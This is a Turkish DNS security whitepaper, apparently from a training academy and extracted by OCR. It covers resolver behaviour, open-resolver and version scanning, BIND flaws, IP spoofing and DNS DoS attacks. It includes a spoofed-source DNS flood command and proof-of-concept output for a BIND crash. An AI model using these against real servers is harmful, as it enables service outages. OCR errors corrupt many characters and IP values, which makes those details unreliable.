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GIRIS

Internet diinyasinin ¢alismasini saglayan ana protokoller incelediginde giivenlik agisindan
en 6nemli protokollerden birinin DNS oldugu ortaya ¢cikmaktadir. Basitce DNS, gliniimiiz e-
posta iletisiminin ve internet altyapisinin saglikli calismasinda kritik rol oynamaktadir.

Ornek olarak Tiirkiye’'nin internet altyapisina yonelik gerceklestirilecek en énemli saldiri
tilkenin en yetkili DNS sunucularina yapilacak saldiridir. Bu sistemler yeteri kadar
korunmuyorsa internetten edinilecek ¢esitli yazilimlarla DNS sunucu uzun stireler
calisamaz hale getirilebilir. Bunun sonucu olarak da Turkiye’deki tr. uzantili sistemlere
erisim ve e-posta trafiginde ciddi aksamalar yasanabilir.

DNS, UDP iizerinden ¢alisan basit bir protokoldiir ve son on yil incelendiginde gtivenlik
acisindan karnesi sinifta kalaya yetecek kadar kotiidiir. DNS’in sik kullaniliyor olmasi da
bu protokol iizerine gerceklestirilen istismar ¢alismalarini yonlendirmektedir.

DNS giivenliginden kasit genellikle DNS kullanilarak gercgeklestirilen dns cache poisoning
ve erisilebilirligi hedef alan DoS saldirilari olmaktadir. Ozellikle DNS’e yonelik DoS/DDoS
saldirilari son yillarda ciddi oranda artis gostermektedir.

DNS'’in UDP tzerine kurulmus olmasi ve UDP tlizerinden gerceklestirilen iletisimde kaynak
[P adresinin gergek olup olmadigini anlamanin kesin bir yolunun olmamasi saldirganin
kendini gizleyerek saldir1 gerceklestirmesini kolaylastirmakta ve engellemeyi
zorlastirmaktadir.

Bilgi Giivenligi AKADEMISI 2011 Yili Siber Tehditler Anketi sonucu da DoS saldirilarinin en
onemli tehditler arasinda yer aldigin1 gostermektedir.
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2011 Yih iginde karsilagtigimiz siber tehditler hangileridir?

Kitdedl Yaziim B...

iz Calisan Tehditi

Dos=/DDoS Saldins

Fiziksel Govenlik...
Veri Sizdirma Pro...
Mabil Sistern Tehditi
Laptop/mobil Ciha...

Phishing

Web sayfasi hackl...

Fraud -

Kablosuz AJ Probl...

Other

23 46 69 92 115
www.bga.com.tr

]

DNS Hakkinda Temel Bilgiler

DNS Nedir?

DNS(Domain Name System), temelde TCP/IP kullanilan ag ortamlarinda isim-IP/IP-isim
eslesmesini saglar ve e-posta trafiginin saglikli calismasi icin altyapi sunar. Gliniimiizde
DNS’siz bir ag dusiiniilemez denilebilir. Her yerel agda -ve tiim internet aginda- hiyerarsik
bir DNS yapisi1 vardir.

Mesela bir e-postanin hangi adrese gidecegine DNS karar verir. Bir web sayfasina erisilmek
istendiginde o sayfanin nerede olduguna, nerede tutulacagina yine DNS iizerinden karar
verilir. Bir sistemin DNS sunucusunu ele ge¢irmek o sistemi ele gecirmek gibidir.
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DNS Protokol Detay1

DNS, UDP temelli basit bir protokoldiir. DNS baslik bilgisi incelendiginde istek ve bu istege
donecek ¢esitli cevaplar (kodlar kullanilarak bu cevaplarin gesitleri belirlenmektedir)
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Detayli DNS baslik bilgisi incelemesi i¢in
http://www.networksorcery.com/enp/protocol/dns.htm adresinden faydalinabilir.

DNS Paket boyutu

DNS paketi denildiginde akla DNS istegi ve DNS cevabi gelmektedir. Bir DNS istek paketinin
ortalama boyutu 40-60 Byte civarinda degismektedir(alt protokol bilgileri dahil). DNS
cevabi da yine sorgulanan alan adi ve kayda gore degisebilir ve 512 Byte’dan kiigiik
olmaldir.

Ornek DNS Paketi Boyutu

Dig komutunun ¢iktis1 (son satir: MSG SIZE) incelenerek donen DNS paketinin boyutu
hakkinda bilgi edinilebilir. Buradaki boyut bilgisi protokol baslik bilgileri eklenmemistir.

$ dig www.bga.com.tr @8.8.8.8

; <<>> <<>>www.bga.com.tr @8.8.8.8

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15731

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
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;; QUESTION SECTION:
;www.bga.com.tr. IN A

;; ANSWER SECTION:
www.bga.com.tr. 50 IN A 50.22.202.162

;; Query time: 225 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sun Jan 8 07:28:27 2012
;; MSG SIZE rcvd: 48

DNS cevap paketinin boyutu 512 Byte’1 asarsa DNS cevabi TCP lizerinden donmek ister ve
DNS sunucu sorgulama yapan sisteme bununla ilgili bilgi(Truncated) doner.

DNS'’in TCP lizerinden ¢alismasina yazinin ilerleyen kisimlarinda detayl deginilecektir.

DNS Kayit Tipleri

DNS, istek ve cevap mantigiyla calisan bir protokoldiir. isteklerin cesitleri de kayit tipleriyle
belirlenir. Bu kayit tiplerinden en sik kullanilanlari asagidaki tabloda yer verilmistir.

DNS Kayit Tipleri ve iglevleri

DNS Kayit Tipi | Islevi Ornek Sorgulama

A Alan adinin [P adresini gosterir. $dig A abc.com

MX Alan adina ait e-postalarin nereye gidecegini $dig MX abc.com
gosterir.

NS I1gili alan adindan sorumlu DNS sunucuyu gésterir | $dig NS abc.com

TXT DNS sunucuya ait gesitli 6zellikleri gosterir. $dig TXT abc.com

PTR Verilen IP adresine ait alan adini gésterir. $dig -x ip_adresi
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DNS Sorgulamalari

nslookup, host veya dig komutlar: kullanilarak dns kayit tipleri sorgulanabilir. Yazi
boyunca dns sorgulamalar icin dig yazilimi tercih edilmistir.

DNS Sorgulamalarin1 Yorumlama - Dig

Dig, nslookup ve host gibi dns sorgulama araglar yerine kullanilabilen gelismis bir aractir.

ISC tarafindan gelistirilen BIND DNS sunucusu ile birlikte gelistirilir ve uzun vadede Linux
dagitimlarinda nslookup komutunun yerini almasi beklenmektedir. Dig komutu alan ad1
sorgulama i¢in ¢alistirildiginda cevapla birlikte detay bilgiler de doner.

Bu detay bilgiler ek parametrelerle gizlenebilir.

# dig www.lifeoverip.net

; <<>> DiG 9.3.3 <<>> www.lifeoverip.net

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47172

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:

;www.lifeoverip.net. IN A

;; ANSWER SECTION:

www.lifeoverip.net. 14400 IN A 80.93.212.86

;; AUTHORITY SECTION:

lifeoverip.net. 30637 IN NS ns3.tekrom.com.
lifeoverip.net. 30637 IN NS ns4.tekrom.com.
;; ADDITIONAL SECTION:

ns4.tekrom.com. 91164 IN A 70.84.223.227
ns3.tekrom.com. 165971 IN A 70.84.223.226

;; Query time: 213 msec

;; SERVER: 1.2.39.40#53(1.2.39.40)
;; WHEN: Sat Jan 24 10:56:14 2009
;; MSG SIZE rcvd: 130

Ciktilarin Detay Acgiklamasi

Status:NOERROR
sorgulanan domain adinin var oldugunu ve bu domainden sorumlu dns sunucunun
sorgulara saglikli cevap verdigini gosterir.

Status:SERVFAIL
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domainin oldugunu fakat domainden sorumlu DNS sunucunun sorgulara saglikli cevap
veremedigini gosterir. Yani sorun domainden sorumlu DNS sunucusundadir.

Status:NXDOMAIN
Domain ile ilgili ana DNS sunucularin bilgisinin olmadigini gosterir. Bu da ya o domain

yoktur ya da bazi sebeplerden dolay1 root dns sunuculara yayinlanmamistir manasina gelir.

Olmayan bir domain sorgulandiginda cevap olarak NXDOMAIN denecektir.

[root@mail ~]# dig www.huzeyfe.net

; <<>> DiG 9.3.3 <<>> www.huzeyfe.net

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 8419

;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:

;www.huzeyfe.net. IN A

;; AUTHORITY SECTION:

net. 0 IN SOA  a.gtld-servers.net. nstld.verisign-grs.com. 1232788241 1800

900 604800 900

;; Query time: 119 msec

;; SERVER: 1.2.39.40#53(1.2.39.40)
;; WHEN: Sat Jan 24 11:02:25 2009
;; MSG SIZE rcvd: 106

Soru Kismi

;; QUESTION SECTION:
;www.lifeoverip.net. IN A

DNS sunucuya giden sorgu kismi.

Cevap Kismi

;; ANSWER SECTION:

www.lifeoverip.net. 14400 IN A 80.93.212.86

DNS sunucudan dénen cevap kismi.

;; AUTHORITY SECTION:
lifeoverip.net. 30637 IN NS ns3.tekrom.com.
lifeoverip.net. 30637 IN NS  ns4.tekrom.com.

sorgulanan domainden sorumlu dns sunucu adresleri
;; ADDITIONAL SECTION:
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ns4.tekrom.com. 91164 IN A 70.84.223.227
ns3.tekrom.com. 165971 IN A 70.84.223.226

EK bilgiler.
;; Query time: 213 msec

Sorgulamanin ne kadar sturdiig.
;; SERVER: 1.2.39.40#53(1.2.39.40)

sorgulanan dns sunucu
;; WHEN: Sat Jan 24 10:56:14 2009 tarih
;; MSG SIZE rcvd: 130 boyut

On Bellege Alma(caching):

Yapilan dns sorgusu sonrasi sunucudan dénen cevap bir TTL alani igerir ve bu alan
istemcinin ayn1 domaine ayni tipte yapacagi bir sonraki sorgulama zamanini belirler.

DNS Sorgu Cesitleri
DNS sisteminde iki ¢esit sorgu tipi vardir. Bunlar, iterative sorgular ve recursive
sorgulardir.
Iteratlve Querv ‘/ s
Yerel DNS Sunucusu /
, H N 1 N \ T?p level DNS

=| istsec.org

Query=www.istsec.org ? 5] _
RecurSive Quel'V 7 é ‘ ‘: authortative
= DNS server

U748

\
Sk
\%\ www.istsec.org
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Recursive dns sorgular

Recursive sorgulama tipinde istemci dns sunucuya rekursif bir sorgu gonderir ve cevap
olarak sorgusuna karsilik gelen tam cevab1 - sorguladigi domaine ait cevap- ya da bir hata
bekler.

DNS sorgulamalari i¢in kullanilan nslookup komutu 6ntaniml olarak rekursif sorgular
gonderir, non rekursif sorgu gondermek icin nslookup komutu set norecurse secenekleri

ile calistirilmasi gerekir.

Genellikle son kullanici - DNS sunucu arasindaki sorgulamalar Recursive tipte olur.

Iterative dns sorgular

[terative sorgu tipinde, istemci dns sunucuya sorgu yollar ve ondan verebilecegi en iyi
cevabi vermesini bekler, yani gelecek cevap ya ben bu sorgunun cevabini bilmiyorum su
DNS sunucuya sor ya da bu sorgunun cevab1 sudur seklindedir.

Genellikle DNS sunucular arasindaki sorgulamalar Iterative tipte olur.

Genele A¢ik DNS Sunucular

Herkese acik DNS sunucular(public dns) kendisine gelen tiim istekleri cevaplamaya ¢alisan
tiirde bir dns sunucu tipidir. Bu tip dns sunucular eger gercekten amaci genele hizmet
vermek degilse genellikle eksik/yanlis yapilandirmanin sonucu ortaya ¢ikar.

Bir sunucunun genele agik hizmet(recursive DNS ¢6ziicii) verip vermedigini anlamanin en
kolay yolu o DNS sunucusu tizerinden google.com, yahoo.com gibi o DNS sunucuda
tutulmayan alan adlarini sorgulamaktir.

Eger hedef DNS sunucu genele acik bir DNS sunucu olarak yapilandirildiysa asagidakine
benzer ¢ikt1 verecektir.

# dig www.google.com @91.93.119.70

; <<>>DiG 9.5.0-P2.1 <<>> www.google.com @91.93.119.70

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26294

;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:

;www.google.com. IN A
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;s ANSWER SECTION:

www.google.com. 44481 IN CNAME www.l.google.com.
www.lgoogle.com. 118 IN A 66.102.13.147
www.lLgoogle.com. 118 IN A 66.102.13.99
www.lgoogle.com. 118 IN A 66.102.13.105
www.lLgoogle.com. 118 IN A 66.102.13.103
www.lLgoogle.com. 118 IN A 66.102.13.104
www.lLgoogle.com. 118 IN A 66.102.13.106
;; Query time: 16 msec

;; SERVER: 91.93.119.70#53(91.93.119.70)
;; WHEN: Sat Jul 24 13:23:59 2010

;; MSG SIZE rcvd: 148

Eger DNS sunucu genele acik hizmet verecek sekilde yapilandirilmadiysa asagidakine
benzer c¢ikt1 verecektir.

[root@seclabs ~]# dig @ns1.gezginler.net www.google.com
; <<>>DiG 9.6.1-P1 <<>> @ns1.gezginler.net www.google.com
; (1 server found)

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33451
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 0
;s WARNING: recursion requested but not available

;; QUESTION SECTION:

;www.google.com. IN A

;; AUTHORITY SECTION:

.518400 IN NS H.ROOT-SERVERS.NET.

.518400 IN NS LROOT-SERVERS.NET.

.518400 IN NS J.ROOT-SERVERS.NET.

.518400 IN NS K.ROOT-SERVERS.NET.

.518400 IN NS L.ROOT-SERVERS.NET.

.518400 IN NS M.ROOT-SERVERS.NET.

.518400 IN NS A.ROOT-SERVERS.NET.

.518400 IN NS B.ROOT-SERVERS.NET.

.518400 IN NS C.ROOT-SERVERS.NET.

.518400 IN NS D.ROOT-SERVERS.NET.

.518400 IN NS E.ROOT-SERVERS.NET.

.518400 IN NS F.ROOT-SERVERS.NET.

.518400 IN NS G.ROOT-SERVERS.NET.

;; Query time: 140 msec

;; SERVER: 208.43.98.30#53(208.43.98.30)

;; WHEN: Sat Aug 7 16:18:15 2010

;; MSG SIZE rcvd: 243
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Bir IP araligindaki tiim public DNS sunucular1 bulmak icin Nmap NSE (Nmap Scripting
Engine) kullanilabilir.

root@seclabs:~# nmap -PN -n -sU -p 53 -script=dns-recursion.nse 91.93.119.65/28
Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-24 13:19 EDT

Interesting ports on 91.93.119.64:

PORT STATE SERVICE

53/udp openlfiltered domain

Interesting ports on 91.93.119.65:

PORT STATE SERVICE

53/udp openlfiltered domain

Public DNS Sunucular Neden Giivenlik Acisindan Risklidir?

Public dns sunucularin 6zellikle DNS flood saldirilarina kars: sikintilidirlar. Saldirgan public
dns sunuculari kullanarak amplification dns flood saldirilarinda size ait dns sunuculardan
ciddi oranlarda trafik olusturarak istedigi bir sistemi zor durumda birakabilir.

NOT: DNS sunucu olarak ISC BIND kullaniliyorsa asagidaki tanimla recursive dns
sorgularina -kendisi hari¢- yanit vermesi engellenebilir.

options { allow-recursion { 127.0.0.1; };

DNS Sunucu Yazilimlanr

DNS hizmeti veren ¢esitli sunucu yazilimlar bulunmaktadir. ISC Bind, DjbDNS, Maradns,
Microsoft DNS yazilimlar1 bunlara 6rnektir. Bu yazilimlar arasinda en yogun kullanima
sahip olan1 ISC Bind'dir. Internetin %80 lik gibi biiyiik bir kismi Bind dns yazilimi
kullanmaktadir. [1]

DNS Sunucu Tipini Belirleme

DNS sunucu yazilimlarina génderilecek cesitli isteklerin cevaplari incelenerek hangi tipte
olduklar belirlenebilir.
Bunun i¢in temelde iki ara¢ kullanilir:

1. Nmap gibi bir port tarama/yazilim belirleme araci

2. Dig, nslookup gibi klasik sorgulama araglari
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Nmap Kullanarak DNS Sunucu Versiyonu Belirleme

#nmap -PN -sU -sV dns_sunucu_ip_adresi

root@bt:~# nmap -sU -sV -p 53 ns1l.abcdef.com.tr.

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-18 17:52 EET

Nmap scan report for nsl.abcdef.com.tr. (1.1.1.13)

Host is up (0.0044s latency).

PORT STATE SERVICE VERSION

53/udp open domain ISC BIND (Fake version: 9.3.6-P1-RedHat-9.3.6-4.P1.¢l5)

Diger bir yontem de dig version.bind chaos txt @dns_sunucu_ip_adresi

Bu yontem sadece bind kullanan sistemlerde saglikli sonuglar tiretir.

istege Gore DNS Paketi Uretmek

TCP/IP paket tiretecleri kullanilarak istege gore DNS paketi olusturulabilir. DNS paketi
olusturmak i¢cin DNS istek ve DNS cevap paketlerine ait temel baslik bilgilerinin bilinmesi
gerekmektedir.

DNS Paketi Uretim Araclar

Guvenlik ve performans testlerinde kullanilmak tizere tercih edilen DNS paketi liretim
argalar.
e Scapy
e Mz
e Hping
e Netstress

Ornek DNS Paketi Uretimi

# mz -A 5.5.5.5 -B 1.2.39.40 -t dns "q=www.bga.com.tr" -c 1000
Mausezahn will send 1000 frames... 0.02 seconds (50000 packets per second)
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Mz kullanilarak tiiretilebilecek detayl1 DNS paketleri i¢in -t dns help parametreleri yeterli
olacaktir.

root@bt:~# mz -t dns help

Mausezahn 0.34.9 - (C) 2007-2009 by Herbert Haas - http://www.perihel.at/sec/mz/
| DNS type: Send Domain Name System Messages.

|
| Generally there are two interesting general DNS messages: queries and answers. The easiest
| way is to use the following syntax:

query|q = <name>[:<type>] ............. where type is per default "A"
(and class is always "IN")

answer|a = [<type>:<ttl>:]<rdata> ...... ttlis per default 0.
= [<type>:<ttl>:]<rdata>/[<type>:<ttl>:]<rdata>/...

Note: If you only use the 'query' option then a query is sent. If you additonally add
an 'answer' then an answer is sent.

Examples:
= WWW.Xyz.com
Www.xyz.com, a=192.168.1.10

= WWW.Xyz.com, a=A:3600:192.168.1.10

q
q
q
g = www.xyz.com, a=CNAME:3600:abc.com/A:3600:192.168.1.10

Note: <type> can be: A, CNAME, or any integer

OPTIONAL parameter hacks: (if you don't know what you do this might cause invalid packets)

Parameter Description query / reply)
request/response|reply ..... flag only request / n.a.
(1o IR U packet id (0-65535) random /random
opcode (or op) ............. accepts values 0..15 or one of std /0
these keywords:

=std oo, Standard Query

SNV e, Inverse Query

=SS v Server Status Request
aaorlaa.....ccceeenn. Authoritative Answer UNSET /SET
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tcor tC.ovneeennnne. Truncation UNSET / UNSET
rdor!ird................. Recursion Desired SET /SET
raorlra ... Recursion Available UNSET / SET
Z e Reserved (takes values 0..7) 0/0
(z=2...authenticated)
rcode ...vvvvevveeeennns Response Code (0..15); interesting 0/0
values are:
S No Error Condition
S Unable to interprete query due to format error
=2 e Unable to process due to server failure
=3 . Name in query does not exist
=4, Type of query not supported
=5 e, Query refused

Count values (values 0..65535) will be set automatically! You should not set these
values manually except you are interested in invalid packets.

gdcount (or qdc) ........... Number of entries in question section 1/1

ancount (or anc) ........... Number of RRs in answer records section 0 /1

nscount (or nsc) ........... Number of name server RRs in authority 0 /0
records section

arcount (or arc) ........... Number of RRs in additional records section 0 /0
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DNS Guvenlik Zafiyetleri

DNS ¢ok 6nemli bir protokol oldugu i¢in yaygin kullanilan DNS sunucu yazilimlar: hem
giivenlik uzmanlar1 hem de hackerlar tarafindan sik sik kurcalanir ve glivenlik zafiyetleri
yayinlanir.

Genel olarak DNS sunucularda bulunan giivenlik zafiyetlerini li¢ kategoride incelenebilir:
e DNS sunucunun ¢alismasini durdurabilecek zafiyetler
e DNS sunucunun giivenligini sikintya sokacak zafiyetler
¢ DNS sunucuyu kullanan istemcilerin giivenligini sikintiya sokabilecek zafiyetler

2011 Y1l ISC Bind Yaziliminda Cikmis Giivenlik Zafiyetleri

Son yillarda sik kullanilan DNS yazilimlari incelendiginde DoS zafiyetlerinin daha fazla
bulundugu goriilmektedir.

1. BIND 9 Resolver crashes after logging an error in query.c
Severity: Serious
Exploitable: Remotely

2. ISC BIND 9 Remote packet Denial of Service against Authoritative and Recursive
Servers
Severity: High
Exploitable: Remotely

3. ISC BIND 9 Remote Crash with Certain RPZ Configurations
Severity: High
Exploitable: Remotely

4. Large RRSIG RRsets and Negative Caching can crash named
Severity: High
Exploitable: remotely

5. RRSIG Queries Can Trigger Server Crash When Using Response Policy Zones
Severity: High
Exploitable: remotely

6. BIND: Server Lockup Upon IXFR or DDNS Update Combined with High Query Rate
Severity: High
Exploitable: remotely
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Yillara Gore ISC Bind Yaziliminda Bulunan Giivenlik Zafiyetleri

Asagidaki ¢iktidan da gortlecegi gibi Bind tlizerinde ¢ikan agikliklarin biiyiik orani (%57)
DoS tipindedir.

Vulnerability Trends Ove

. Http N . .

Year Vuln;':;lities (e:gﬂ:on Overfiow C?ﬁT:triZn Injes:tl:ion %53 FI)":‘::?SZ R::E t::]sge soBr;,:ta:i:\g Infofrar::ﬁon Pr’:ial:;es GRE Inc?:l:ion e:pfgﬁs

1999 4 1

2000 3 1 1

2001 5 2 3

2002 10 4 4 4

2003 1

2005 2 2 1

2006 5 4 1

2007 6 3

2008 3 2 1 1 3

2009 4 1 2

2010 9 4 1

2011 6 &

Total 58 30 6 9 % & 1 4 3
% Of All 51. 10.3 15.5 1.7 0.0 0.0 0.0 0.0 3.4 1.7 6.9 0.0 0.0

http://www.cvedetails.com’un katkilariyla

DNS Protokoliinde IP Sahteciligi ( IP Spoofing)

DNS, UDP tabanli bir protokol oldugu icin hem DNS istekleri hem de DNS cevaplarinda
kullanilan ip adresleri istenildigi gibi belirlenebilir.

[P spoofing yapilabiliyor olmasi demek hem DNS isteklerinin hem de cevaplarinin sahte
olabilecegi anlamina gelmektedir. Sahte DNS istegi liretmeyi engelleyecek herhangi bir
yontem bulunmamaktadir (URPF [2] haric)

UDP katmaninda IP spoofing i¢in bir 6nlem olmamasi nedeniyle DNS ip sahteciligini
onlemek icin uygulama seviyesinde iki temel 6nlem almistir. Bu 6nlemlerden ilki DNS TXID
baslik bilgisinin random olmasi digeri de kaynak port numarasinin random olarak
belirlenmesidir.
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Kaynak Portun Rastgeleliginin Sorgulanmasi

DNS cevabi olarak donen paketlerin kaynak portlarinin sabit mi yoksa rastgele mi
belirlendigi asagidaki nmap komutuyla belirlenebilir.

root@bt:~# nmap -sU -p 53 --script=dns-random-srcport 8.8.8.8

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-18 17:43 EET

Nmap scan report for google-public-dns-a.google.com (8.8.8.8)

Host is up (0.041s latency).

PORT STATE SERVICE

53/udp open domain

|_dns-random-srcport: 74.125.38.86 is GREAT: 6 queries in 3.0 seconds from 6 ports with
std dev 6324

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

DNS Transaction ID Degerinin Rastgeleliginin Sorgulanmasi

DNS cevabi olarak donen paketlerdeki TXID degerinin sabit mi yoksa rastgele mi
belirlendigi asagidaki nmap komutuyla belirlenebilir.

root@bt:~# nmap -sU -p 53 --script=dns-random-txid ns1.abc.com.tr

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-18 17:45 EET
Nmap scan report for ns1l.abc.com.tr (1.1.3.3)

Host is up (0.0035s latency).

PORT STATE SERVICE

53/udp open domain

[_dns-random-txid: 91.199.73.23 is GREAT: 26 queries in 5.2 seconds from 26 txids with std dev

21394

Nmap done: 1 IP address (1 host up) scanned in 6.10 seconds
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DNS ve TCP iliskisi

DNS paketleri 512 byte’1 gegmedigi miiddetce UDP tlizerinden tasinabilir. 512 byte’1 asan
DNS cevaplar1 UDP tlizerinden tasinamayacagi i¢cin TCP kullanilir(EDNS harig).

Cevabin 512 Byte’dan fazla oldugu ve TCP tlizerinden tasinmasi gerektigini istemci, DNS
paketine(donen DNS paketi) ait baslik bilgisine bakarak anlamaktadir.

Asagidaki gibi DNS paketinde Truncated=1 olmasi durumunda dns isteginde bulunan ayni
istegi TCP/53 uizerinden yapmay1 deneyecektir.

Domain Name System (response)

[Request In: 1]

[Time: 0.152073000 seconds]

Transaction ID: 0x28b3

Flags: 0x8380 (Standard query response, No error)

T i e = Response: Message is a response
.0000... ... ... = Opcode: Standard query (0)
...0.. .... .... = Authoritative: Server is not an authority for domain
.1l. ... ...= Truncated: Message is truncated
....... 1 ....... = Recursion desired: Do query recursively
e Le i = Recursion available: Server can do recursive queries
e .0 ... = Z: reserved (0)
eeue e 0. ... = Answer authenticated: Answer/authority portion was not authenticated by the
server

EDNS destekli DNS sunucularda dns cevaplar1 ~4000 Byte olabilir.

Asagidaki 6rnekte cevab1 512 Byte’1 asacak sekilde yapilandirilmis bir alan adi kaydinin
sorgulamasi ve cevabin TCP iizerinden doniisii gosterilmektedir.

[huzeyfe@seclabs ~]$ dig test.bga.com.tr @1.2.39.39
;; Truncated, retrying in TCP mode.

; <<>> <<>> test.bga.com.tr @1.2.39.39

;; global options: printcmd

;» Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3117

;; flags: qr rd ra; QUERY: 1, ANSWER: 36, AUTHORITY: 2, ADDITIONAL: 0
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;; QUESTION SECTION:
;test.bga.com.tr. IN A
;; ANSWER SECTION:
test.bga.com.tr. 60 IN A 1230
test.bga.com.tr. 60 IN A 1231
test.bga.com.tr. 60 IN A 1232
test.bga.com.tr. 60 IN A 1233
test.bga.com.tr. 60 IN A 1234
test.bga.com.tr. 60 IN A 1235
test.bga.com.tr. 60 IN A 1236
test.bga.com.tr. 60 IN A 1238
test.bga.com.tr. 60 IN A 12311
test.bga.com.tr. 60 IN A 1.23.12
test.bga.com.tr. 60 IN A 12341
test.bga.com.tr. 60 IN A 12342
test.bga.com.tr. 60 IN A 12343
test.bga.com.tr. 60 IN A 12344
test.bga.com.tr. 60 IN A 12345
test.bga.com.tr. 60 IN A 12346
test.bga.com.tr. 60 IN A 1.2347
test.bga.com.tr. 60 IN A 12348
test.bga.com.tr. 60 IN A 12349
test.bga.com.tr. 60 IN A 123421
test.bga.com.tr. 60 IN A 1.2.34.23
test.bga.com.tr. 60 IN A 123424
test.bga.com.tr. 60 IN A 1.2.34.25
test.bga.com.tr. 60 IN A 1.234.26
test.bga.com.tr. 60 IN A 1.2.34.28
test.bga.com.tr. 60 IN A 1234729
test.bga.com.tr. 60 IN A 1.2.34.30
test.bga.com.tr. 60 IN A 123431
test.bga.com.tr. 60 IN A 143432
test.bga.com.tr. 60 IN A 15.34.32
test.bga.com.tr. 60 IN A 1.6.34.32
test.bga.com.tr. 60 IN A 1.7.34.32
test.bga.com.tr. 60 IN A 1.8.34.32
test.bga.com.tr. 60 IN A 1.9.34.32
test.bga.com.tr. 60 IN A 222.222.222.223
test.bga.com.tr. 60 IN A 222222222224
;; AUTHORITY SECTION:
bga.com.tr. 60 IN NS nsl.bga.com.tr.
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bga.com.tr. 60 IN NS ns2.bga.com.tr.

;; Query time: 156 msec
;; SERVER: 1.2.39.39#53(1.2.39.39)
;; WHEN: Sun Jan 8 08:13:30 2012

;3 MSG SIZE rcvd: 645

DNS sunucu tarafindan istek dncelikle “truncated” mesaji ile TCP’e ¢evriliyor ve DNS istegi
yapan tarafin TCP lizerinden tekrar DNS istegi gdbndermesi isteniyor.

NOT: Cogu DNS sunucu TCP/53’e kapali oldugu icin bu tip isteklere cevap vermeyecektir.

DNS sunucu iizerinde TCP/53’{in acik olup olmadig1 bu porta génderilecek SYN paketlerine
SYN/ACK cevabinin dénmesi ile anlasilabilir.

[root@seclabs ~]# hping -S -p 53 8.8.8.8 -c 2

HPING 8.8.8.8 (eth0 8.8.8.8): S set, 40 headers + 0 data bytes

len=46 ip=8.8.8.8 tt1=47 id=46413 sport=53 flags=SA seq=0 win=5720 rtt=47.1 ms
len=46 ip=8.8.8.8 tt1=47 id=62723 sport=53 flags=SA seq=1 win=5720 rtt=47.3 ms

--- 8.8.8.8 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 47.1/47.2/47.3 ms

DNS sunucu iizerinde TCP/3 portu acik ise bu porta yonelik SYN Flood, TCP Connection
flood tipinde DDoS ataklar1 gercgeklestirilebilir.

DNS sunucu 6niinde SYN cookie, SYN Proxy ya da benzeri bir koruma sistemi yoksa DNS
sunucu kisa siirede hizmet veremez hale gelecektir.
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DNS’e Yonelik DoS ve DDoS Saldirilar:

DNS hizmetine yonelik Dos/DDoS saldirilarini iki kategoride incelenebilir

e Yazilim temelli DoS saldirilar:
e Tasarim temelli DoS saldirilari

Yazilim Temelli DoS Saldirilar

BIND 9 Dynamic Update DoS Zaafiyeti

28/07/2009 tarihinde ISC Bind yazilim gelistiricileri tiim Bind 9 siiriimlerini etkileyen acil
bir giivenlik zaafiyeti duyurdular. Duyuruya gore eger DNS sunucunuz Bind9 ¢alistirtyorsa
ve lizerinde en az bir tane yetkili kayit varsa bu agikliktan etkileniyor demektir.

Aslinda bu zafiyet bind 9 ¢alistiran tiim dns sunucularini etkiler anlamina gelmektedir.
Bunun nedeni dns sunucunuz sadece caching yapiyorsa bile iizerinde localhost i¢in girilmis
kayitlar bulunacaktir ve ac¢iklik bu kayitlar1 degerlendirerek sisteminizi devre disi
birakabilir.

Guvenlik Acigl Nasil Galisir?

Aciklik dns sunucunuzdaki ilgili zone tanimi(mesela:www.lifeoverip.net) i¢cin génderilen
0zel hazirlanmis dynamic dns update paketlerini diizgiin isleyememesinden
kaynaklanmaktadir.

Acikligin sonucu olarak dns servisi veren named prosesi durmakta ve DNS sorgularina
cevap déonememektedir.

# perl dnstest.pl

;; HEADER SECTION

5 id = 51444

;; qr = 0opcode = UPDATE rcode = NOERROR

;; Zzocount =0 prcount =1 upcount=1 adcount=1
;; ZONE SECTION (1 record)

;; test.com. IN SOA

;; PREREQUISITE SECTION (1 record)

www.test.com. 0 IN ANY ;nodata
;; UPDATE SECTION (1 record)
www.test.com. 0 ANY ANY ;nodata
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;; ADDITIONAL SECTION (1 record)
<key. 0 IN ANY ;rdlength=0

Bu asamadan sonra ilgili zone barindiran dns sunucu sorgulara cevap veremez hale
gelmektedir.

Ornek Hata Logu:

Aug 116:03:52 mail named[45293]:
/usr/src/lib/bind/dns/../../../contrib/bind9/lib/dns/db.c:595: REQUIRE(type !=
((dns_rdatatype_t)dns_rdatatype_any)) failed

Aug 116:03:52 mail named[45293]: exiting (due to assertion failure)

Aug 1 16:03:52 mail kernel: pid 45293 (named), uid 0: exited on signal 6 (core dumped)

DNS Flood DoS/DDoS Saldirilar:

Bu saldir tipi genelde iki sekilde gerceklestirilir:
e Hedef DNS sunucuya kapasitesinin tizerinde (bant genisligi olarak degil) DNS
istekleri gondererek , normal isteklere cevap veremeyecek hale gelmesini saglamak
e Hedef DNS sunucu 6niindeki Firewall/IPS’in “session” limitlerini zorlayarak Firewall
arkasindaki tiim sistemlerin erisilemez olmasini saglamak

Her iki yontem i¢in de ciddi oranlarda DNS sorgusu gonderilmesi gerekir. Internet
tzerinden edinilecek poc(proof of concept) araclar incelendiginde ¢cogunun perl/python
